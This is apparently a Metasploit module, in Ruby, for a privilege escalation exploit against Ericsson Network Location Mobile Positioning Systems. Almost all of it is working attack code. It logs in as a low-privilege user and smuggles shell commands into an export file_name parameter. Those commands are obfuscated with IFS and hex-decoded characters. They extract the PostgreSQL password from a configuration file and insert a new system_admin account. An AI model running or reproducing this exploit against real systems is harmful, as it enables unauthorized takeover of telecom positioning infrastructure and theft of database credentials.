1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)', 'Description'=> %q( This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems. It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole. Therefore low authority user can gain the authority of "admin" on the application. You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability. "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21" /////// This 0day has been published at DEFCON29-PHV Village. /////// ), 'References' => [ [ 'CVE', '2021-' ], [ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ], [ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'], [ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus'] ], 'Author' => [ 'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus ], 'License'=> MSF_LICENSE, 'DisclosureDate' => "Apr 21 2021", 'DefaultOptions' => { 'RPORT' => 10083, 'SSL' => true } )) register_options([ OptString.new('USERNAME',[true, 'NLG Username']), OptString.new('PASSWORD',[true, 'NLG Password']), OptString.new('TARGETURI',[true, 'Base path for NLG application', '/']) ]) end # for Origin and Referer headers def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end # split strings to salt def split(data, string_to_split) word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end def cluster res = send_request_cgi({ # clusters information to API directories 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'), 'method'=> 'GET' }) if res && res.code == 200 && res.body =~ /version/ cls_version = split(res.body, "version") cls_node_type = split(res.body, "node_type") cls_name = split(res.body, "cluster_name") cls_id = cls_version + "-" + cls_node_type + "-" + cls_name return cls_version, cls_node_type, cls_name, cls_id else fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!') end end def permission_check(token) # By giving numbers to the vulnerable areas, we can easily use them in JSON format. json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}' parse = JSON.parse(json_urls) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 6 do link = parse["#{i}"] i +=1 # The cells export operation returns 409 response when frequent requests are made. # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. if link == "/cells/gsm/cgi_cells/" sleep(7) end filename = Rex::Text.rand_text_alpha_lower(6) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 403 then # !200 next elsif res && res.code == 200 return link, true elsif res && res.code == 400 return link, true elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404. return "no link", false end end end def check # check connection and login token = login(datastore['USERNAME'], datastore['PASSWORD']) res = send_request_cgi({ # product information check 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) if res && res.code == 200 && res.body =~ /version/ version = split(res.body, "version") pnumber = split(res.body, "product_number") print_status("Product Number:#{pnumber} - Version:#{version}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def login(user, pass) json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}' res = send_request_cgi( { 'method' => 'POST', 'ctype'=> 'application/json', 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), 'headers' => { 'Origin' => "#{peer}" }, 'data' => json_login }) if res && res.code == 200 && res.body =~ /true/ auth_token = split(res.body, "authToken") return auth_token else fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!') end end def prep_payloads(token, link) configname = Rex::Text.rand_text_alpha_lower(12) newuser = Rex::Text.rand_text_alpha_lower(8) newpass = "PrivEsc0day!" #/ = 2F - y #; = 3B - z #| = 7C - p #>&= 3E26 - v #>/= 3E2F - g #> = 3E - k #< = 3C - c #' = 27 - t #$ = 24 - d #\ = 5C - b #! = 21 - u #" = 22 - x #( = 28 - m #) = 29 - i #, = 2C - o #_ = 5F - a # echo <code>xxd -r -p <<< 2F</code>>y payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F</code>>y&&pwd>fl") +'", ' # echo <code>xxd -r -p <<< 3B</code>>z payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B</code>>z&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 7C</code>>p payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C</code>>p&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E26</code>>v payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26</code>>v&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 3E</code>>k payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E</code>>k&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 27</code>>t payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27</code>>t&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 24</code>>d payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24</code>>d&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 5C</code>>b payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C</code>>b&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 21</code>>u payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21</code>>u&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 22</code>>x payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22</code>>x&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 28</code>>x payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28</code>>m&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 29</code>>x payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29</code>>i&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 2C</code>>x payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C</code>>o&&pwd>fl") +'", ' #echo <code>xxd -r -p <<< 5F</code>>x payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F</code>>a&&pwd>fl") +'", ' #cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}<code>cat${IFS}y</code>opt<code>cat${IFS}y</code>consul<code>cat${IFS}y</code>setting<code>cat${IFS}y</code>factory<code>cat${IFS}y</code>GMPC<code>cat${IFS}y</code>parameter<code>cat${IFS}y</code>gmpc_schema.json${IFS}#{configname}.json&&pwd>fl") +'", ' #echo sed '31843!d' [random-file-name].json > pass1.sh payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}<code>cat${IFS}t</code>31843<code>cat${IFS}u</code>d<code>cat${IFS}t</code>${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl") +'", ' #chmod +x pass1.sh payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl") +'", ' #sh pass1.sh > pass2 payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl") +'", ' #cat pass2 | awk -F[:,\"] '{print $5}' > pass3.sh payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}<code>cat${IFS}p</code>${IFS}awk${IFS}-F[:,<code>cat${IFS}b</code><code>cat${IFS}x</code>]${IFS}<code>cat${IFS}t</code>{print${IFS}<code>cat${IFS}d</code>5}<code>cat${IFS}t</code>>pass3.sh&&pwd>fl") +'", ' #chmod +x pass3.sh payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl") +'", ' #sh pass3.sh > passlast #passlast will be pgsql password... payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl") +'", ' #echo PGPASSWORD='<code>cat passlast</code>' > sqlq1 payloads << '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=<code>cat${IFS}t</code><code>cat${IFS}passlast</code><code>cat${IFS}t</code>>sqlq1&&pwd>fl") +'", ' #echo '/opt/pgsql/bin/psql -U mps -d mpsdb -c "INSERT INTO ' > sqlq2 payloads << '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>cat${IFS}y</code>opt<code>cat${IFS}y</code>pgsql<code>cat${IFS}y</code>bin<code>cat${IFS}y</code>psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}<code>cat${IFS}x</code>INSERT${IFS}INTO>sqlq2&&pwd>fl") +'", ' #echo 'omuser(id,enabled,fail_times,latest_fail_at,name' > sqlq3 payloads << '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser<code>cat${IFS}m</code>id<code>cat${IFS}o</code>enabled<code>cat${IFS}o</code>fail<code>cat${IFS}a</code>times<code>cat${IFS}o</code>latest<code>cat${IFS}a</code>fail<code>cat${IFS}a</code>at<code>cat${IFS}o</code>name>sqlq3&&pwd>fl") +'", ' #echo ',password,password_expires_at,role)' > sqlq4 payloads << '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>cat${IFS}o</code>password<code>cat${IFS}o</code>password<code>cat${IFS}a</code>expires<code>cat${IFS}a</code>at<code>cat${IFS}o</code>role<code>cat${IFS}i</code>>sqlq4&&pwd>fl") +'", ' #echo "VALUES ('privesc155',0,0,0,'test8day','" > sqlq5 payloads << '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}<code>cat${IFS}m</code><code>cat${IFS}t</code>#{newuser}<code>cat${IFS}t</code><code>cat${IFS}o</code>0<code>cat${IFS}o</code>0<code>cat${IFS}o</code>0<code>cat${IFS}o</code><code>cat${IFS}t</code>#{newuser}<code>cat${IFS}t</code><code>cat${IFS}o</code><code>cat${IFS}t</code>>sqlq5&&pwd>fl") +'", ' # echo ada628c3ae88b9cf90e61d26d2d852c161e30de9',0,'system_admin');" > sqlq6 payloads << '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9<code>cat${IFS}t</code><code>cat${IFS}o</code>0<code>cat${IFS}o</code><code>cat${IFS}t</code>system<code>cat${IFS}a</code>admin<code>cat${IFS}t</code><code>cat${IFS}i</code><code>cat${IFS}z</code><code>cat${IFS}x</code>>sqlq6&&pwd>fl") +'", ' #echo <code>cat sqlq1</code> <code>cat sqlq2</code><code>cat sqlq3</code><code>cat sqlq4</code> <code>cat sqlq5</code><code>cat sqlq6</code> > sqlq7.sh payloads << '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}<code>cat${IFS}sqlq1</code>${IFS}<code>cat${IFS}sqlq2</code>${IFS}<code>cat${IFS}sqlq3</code><code>cat${IFS}sqlq4</code>${IFS}<code>cat${IFS}sqlq5</code><code>cat${IFS}sqlq6</code>>sqlq7.sh&&pwd>fl") +'", ' #chmod +x sqlq7.sh payloads << '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl") +'", ' #sh sqlq7.sh payloads << '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl") +'"}' if link == "/cells/gsm/cgi_cells/" print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!") end parse = JSON.parse(payloads) cls_id = cluster[3] cls_node_type = cluster[1] i = 1 while i <= 31 do pay = parse["#{i}"] i +=1 if link == "/cells/gsm/cgi_cells/" sleep(15) end send_payloads(cls_id, cls_node_type, token, link, pay) if i == 31 check_user(newuser, newpass, link) end end end def check_user(user, pass, link) json_login = '{"auth": {"method": "password","password": {"user_id": "' + user + '","password": "' + pass + '"}}}' if link == "/cells/gsm/cgi_cells/" print_good("Privilege escalation successful!") print_good("The new system admin user has been created successfully.") print_status("New User : #{user}") print_status("New Pass : #{pass}") else res = send_request_cgi( { 'method' => 'POST', 'ctype'=> 'application/json', 'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'), 'headers' => { 'Origin' => "#{peer}" }, 'data' => json_login }) if res && res.code == 200 && res.body =~ /true/ print_good("Privilege escalation successful!") print_good("The new system admin user has been created successfully.") print_status("New User : #{user}") print_status("New Pass : #{pass}") else fail_with(Failure::NotVulnerable, 'Something went wrong. New user could not be created.') end end end def get_pgsql_pass(config_name) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, config_name), 'method'=> 'GET', 'headers' => { 'Origin' => "#{peer}" } }) parse = JSON.parse(res.body) pass = parse['AML'] puts pass end def send_payloads(id, type, token, link, pay) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, "export?file_name=/export/home/mpcadmin/%7C#{pay}"), 'method'=> 'GET', 'headers' => { 'X-Auth-Token' => token, 'Origin' => "#{peer}" } }) end ## # Exploiting phase ## def run auth_token = login(datastore['USERNAME'], datastore['PASSWORD']) unless permission_check(auth_token)[1] == true fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!') else perm_link = permission_check(auth_token)[0] print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}") end prep_payloads(auth_token, perm_link) end end |